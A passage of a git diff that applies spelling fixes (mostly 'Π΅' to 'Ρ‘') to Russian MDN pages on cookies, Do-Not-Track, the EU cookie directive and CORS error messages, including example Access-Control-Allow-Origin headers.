Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π² Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… цСлях ΠΈΠ»ΠΈ для отслСТивания ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² сСти. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://www.google.com/policies/technologies/types/">Ρ‚ΠΈΠΏΡ‹ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Google</a>. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‚ использованиС сторонних ΠΊΡƒΠΊΠΎΠ², Π½ΠΎ Π΅ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΈΡ… Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> ΠΎΡ‚ <a href="https://www.eff.org/">EFF</a>).</p>
+<p>ΠšΡƒΠΊΠΈ связаны с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ. Если ΠΎΠ½ совпадаСт с Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‚ΠΎ ΠΈΡ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "<em>ΠΊΡƒΠΊΠ°ΠΌΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π°</em>" (first-party cookies). Если это Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½, ΠΈΡ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "<em>сторонними ΠΊΡƒΠΊΠ°ΠΌΠΈ</em>" (<em>third-party cookies</em>). ΠšΡƒΠΊΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π° ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Ρ‚ΠΎΡ‚ сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡ… создал. Однако, страница ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ изобраТСния ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π°Π½Π½Π΅Ρ€Ρ‹), хранящиСся Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… сСрвСрах. ΠšΡƒΠΊΠΈ, посылаСмыС Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π² Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… цСлях ΠΈΠ»ΠΈ для отслСТивания ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² сСти. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://www.google.com/policies/technologies/types/">Ρ‚ΠΈΠΏΡ‹ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Google</a>. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‚ использованиС сторонних ΠΊΡƒΠΊΠΎΠ², Π½ΠΎ Π΅ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΈΡ… Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> ΠΎΡ‚ <a href="https://www.eff.org/">EFF</a>).</p>
<p>Если Π²Ρ‹ Π½Π΅ сообщитС ΠΎΠ± использовании сторонних ΠΊΡƒΠΊΠΎΠ², Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ ΠΈΡ… ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‚ΠΎ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ ΠΊ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡˆΠ°Ρ‚Π½ΡƒΡ‚ΡŒΡΡ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этого, Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… странах использованиС ΠΊΡƒΠΊΠΎΠ² рСгламСнтируСтся Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎΠΌ. ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ± этом ΠΌΠΎΠΆΠ½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement </a>(созданиС ΠΊΡƒΠΊΠΎΠ²).</p>
<h3 id="НС_ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ_(Do-Not-Track)">НС ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ (Do-Not-Track)</h3>
-<p>Для Π·Π°ΠΏΡ€Π΅Ρ‚Π° Π½Π° отслСТиваниС со стороны прилоТСния, ΠΈΠ»ΠΈ мСТсайтового отслСТивания, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("DNT")}}, хотя тСхничСских ΠΈΠ»ΠΈ Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ Π½Π° этот счСт Π½Π΅Ρ‚. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказываСтся Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{HTTPHeader("DNT")}}.</p>
+<p>Для Π·Π°ΠΏΡ€Π΅Ρ‚Π° Π½Π° отслСТиваниС со стороны прилоТСния, ΠΈΠ»ΠΈ мСТсайтового отслСТивания, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("DNT")}}, хотя тСхничСских ΠΈΠ»ΠΈ Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ Π½Π° этот счёт Π½Π΅Ρ‚. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказываСтся Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{HTTPHeader("DNT")}}.</p>
<h3 id="Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π°_Π•Π²Ρ€ΠΎΡΠΎΡŽΠ·Π°_ΠΎ_ΠΊΡƒΠΊΠ°Ρ…">Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° Π•Π²Ρ€ΠΎΡΠΎΡŽΠ·Π° ΠΎ ΠΊΡƒΠΊΠ°Ρ…</h3>
-<p>ΠŸΡ€Π°Π²ΠΈΠ»Π° ΠΏΠΎ использованию ΠΊΡƒΠΊΠΎΠ² Π² Π•Π²Ρ€ΠΎΡΠΎΡŽΠ·Π΅ (Π•Π‘) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π΅Β 2009/136/EC Π•Π²Ρ€ΠΎΠΏΠ°Ρ€Π»Π°ΠΌΠ΅Π½Ρ‚Π° (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), Π²ΡΡ‚ΡƒΠΏΠΈΠ²ΡˆΠ΅ΠΉ Π² дСйствиС 25 мая 2011. Π­Ρ‚ΠΎ Π½Π΅ Π·Π°ΠΊΠΎΠ½, ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ,Β Π° рСкомСндация странам-Ρ‡Π»Π΅Π½Π°ΠΌ Π•Π‘ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π·Π°ΠΊΠΎΠ½Ρ‹, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Сё трСбованиям. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ странС Π½Π° этот счСт ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ свои Π·Π°ΠΊΠΎΠ½Ρ‹.</p>
+<p>ΠŸΡ€Π°Π²ΠΈΠ»Π° ΠΏΠΎ использованию ΠΊΡƒΠΊΠΎΠ² Π² Π•Π²Ρ€ΠΎΡΠΎΡŽΠ·Π΅ (Π•Π‘) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π΅Β 2009/136/EC Π•Π²Ρ€ΠΎΠΏΠ°Ρ€Π»Π°ΠΌΠ΅Π½Ρ‚Π° (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), Π²ΡΡ‚ΡƒΠΏΠΈΠ²ΡˆΠ΅ΠΉ Π² дСйствиС 25 мая 2011. Π­Ρ‚ΠΎ Π½Π΅ Π·Π°ΠΊΠΎΠ½, ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ,Β Π° рСкомСндация странам-Ρ‡Π»Π΅Π½Π°ΠΌ Π•Π‘ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π·Π°ΠΊΠΎΠ½Ρ‹, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Сё трСбованиям. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ странС Π½Π° этот счёт ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ свои Π·Π°ΠΊΠΎΠ½Ρ‹.</p>
<p>Богласно этой Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π΅ для хранСния ΠΈΠ»ΠΈ извлСчСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ трСбуСтся ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. Π‘ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Сё появлСния ΠΌΠ½ΠΎΠ³ΠΈΠ΅ сайты Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π±Π°Π½Π½Π΅Ρ€Ρ‹, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠ± использовании ΠΊΡƒΠΊΠΎΠ².</p>
diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
index 48cb10706a..1a69c7a3d0 100644
--- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
+++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>ΠŸΡ€ΠΎΡ‰Π΅ говоря, источник Π΄Π΅Π»Π°Π΅Ρ‚ запрос ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ совпадаСт Π½ΠΈ с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· источников Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p>
+<p>ΠŸΡ€ΠΎΡ‰Π΅ говоря, источник Π΄Π΅Π»Π°Π΅Ρ‚ запрос ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ совпадаСт Π½ΠΈ с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· источников Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p>
<p>Π­Ρ‚Π° ошибка Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ, Ссли ΠΎΡ‚Π²Π΅Ρ‚ содСрТит Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>Access-Control-Allow-Origin</code>.</p>
diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html
index c4f75914b1..0c5d69b7c3 100644
--- a/files/ru/web/http/cors/errors/corsdisabled/index.html
+++ b/files/ru/web/http/cors/errors/corsdisabled/index.html
@@ -11,9 +11,9 @@ translation_of: Web/HTTP/CORS/Errors/CORSDisabled
<h2 id="Π§Ρ‚ΠΎ_ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ">Π§Ρ‚ΠΎ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ?</h2>
-<p>ΠŸΡ€ΠΈ запросС с использованиСм {{Glossary("CORS")}}, послСдний был ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CORS, Π΅Π³ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ.</p>
+<p>ΠŸΡ€ΠΈ запросС с использованиСм {{Glossary("CORS")}}, послСдний был ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CORS, Π΅Π³ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ.</p>
-<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Firefox, настройка которая ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ CORSΒ -Β <code>content.cors.disable</code>. Устанавливая Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Β <code>true</code>Β Π²Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ CORS, поэтому ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ использовании CORS запрос Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ с ошибкой.</p>
+<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Firefox, настройка которая ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ CORSΒ -Β <code>content.cors.disable</code>. Устанавливая Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Β <code>true</code>Β Π²Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ CORS, поэтому ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ использовании CORS запрос Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½ с ошибкой.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
index 56875e1603..60e0ed817b 100644
--- a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
+++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -11,13 +11,13 @@ translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
<p>Π’ ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π° {{Glossary("CORS")}}-запрос отсутствуСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Access-Control-Allow-Origin")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ рСсурс Π±Ρ‹Ρ‚ΡŒ доступСн для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π΄ΠΎΠΌΠ΅Π½Π΅.</p>
-<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ доступ ΠΊ сСрвСру, Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄ΠΎΠΌΠ΅Π½ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ сайта Π² список Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Π³ΠΎ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>Access-Control-Allow-Origin</code>.</p>
+<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ доступ ΠΊ сСрвСру, Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄ΠΎΠΌΠ΅Π½ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ сайта Π² список Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Π³ΠΎ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>Access-Control-Allow-Origin</code>.</p>
<p>НапримСр, для прСдоставлСния сайту https://amazing.site доступа ΠΊ рСсурсам с использованиСм CORS, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
-<p>Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ доступ Π»ΡŽΠ±ΠΎΠΌΡƒ сайту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ подстановку <code>*</code>. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот способ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… API. Π’ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… APIΒ <code>*</code>Β Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, вмСсто этого Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΌΠ΅Π½ ΠΈΠ»ΠΈ Π΄ΠΎΠΌΠ΅Π½Ρ‹. ΠŸΡ€ΠΈ этом подстановка работаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для запросов с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("crossorigin")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>anonymous</code>.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ доступ Π»ΡŽΠ±ΠΎΠΌΡƒ сайту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ подстановку <code>*</code>. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот способ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… API. Π’ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… APIΒ <code>*</code>Β Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, вмСсто этого Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΌΠ΅Π½ ΠΈΠ»ΠΈ Π΄ΠΎΠΌΠ΅Π½Ρ‹. ΠŸΡ€ΠΈ этом подстановка работаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для запросов с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("crossorigin")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>anonymous</code>.</p>
<pre>Access-Control-Allow-Origin: *</pre>
diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html
index ca98549889..c7ec4d9028 100644
--- a/files/ru/web/http/cors/index.html
+++ b/files/ru/web/http/cors/index.html
@@ -13,7 +13,7 @@ translation_of: Web/HTTP/CORS
<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
